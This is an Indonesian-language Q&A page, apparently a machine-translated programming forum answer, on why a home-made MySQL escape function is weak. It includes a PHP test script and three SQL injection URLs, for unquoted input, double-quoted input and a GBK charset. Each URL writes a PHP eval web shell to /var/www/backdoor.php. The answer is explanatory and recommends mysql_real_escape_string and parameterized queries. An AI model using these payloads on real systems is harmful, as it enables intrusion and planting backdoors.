Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Menemukan fungsi pelarian yang lemah untuk MySql, bagaimana cara memanfaatkannya?

Jika Anda hanya mengganti ' dengan '' maka Anda dapat memanfaatkan ini dengan menyuntikkan \' yang akan berubah menjadi \'' dan ini akan memungkinkan Anda untuk keluar karena ini memberi Anda tanda kutip tunggal "karakter literal" dan tanda kutip tunggal yang sebenarnya. Namun, penggantian "\\" dengan "\\\\" meniadakan serangan ini. Tanda kutip ganda digunakan untuk "melarikan diri" dari tanda kutip tunggal untuk MS-SQL, tetapi ini tidak sesuai untuk MySQL, tetapi dapat berfungsi.

Kode berikut membuktikan bahwa fungsi pelarian ini aman untuk semua kecuali tiga kondisi . Kode ini mengubah semua kemungkinan variasi piagam kontrol, dan menguji masing-masing untuk memastikan kesalahan tidak terjadi dengan pernyataan pilih terbungkus kutipan tunggal. Kode ini telah diuji pada MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Kondisi Rentan 1:tidak ada tanda kutip yang digunakan.

mysql_query("select username from users where id=".escape($_GET['id']));

Eksploitasi:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Kondisi Rentan 2:tanda kutip ganda digunakan

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Eksploitasi:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Kondisi Rentan 2:tanda kutip tunggal digunakan, namun set karakter alternatif digunakan. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Eksploitasi:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Kesimpulannya adalah selalu gunakan mysql_real_escape_string() sebagai rutinitas pelarian untuk MySQL. Pustaka kueri berparameter seperti pdo dan adodb selalu menggunakan mysql_real_escape_string() ketika terhubung ke database mysql. addslashes() JAUH LEBIH BAIK dari rutinitas pelarian karena menangani kondisi rentan 2. Perlu dicatat bahwa bahkan tidak mysql_real_escape_string() akan menghentikan kondisi 1, namun pustaka kueri berparameter akan menghentikannya.



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. MySQL menambahkan 12 jam ke bidang waktu

  2. Bagaimana cara mengatur permalink posting blog Anda sesuai dengan tanggal dan judul posting?

  3. Menanyakan percakapan dari tabel pesan

  4. Bagaimana cara melacak perubahan di beberapa kolom dalam tabel database untuk tujuan audit?

  5. Entity Framework Code-First terlalu lambat saat startup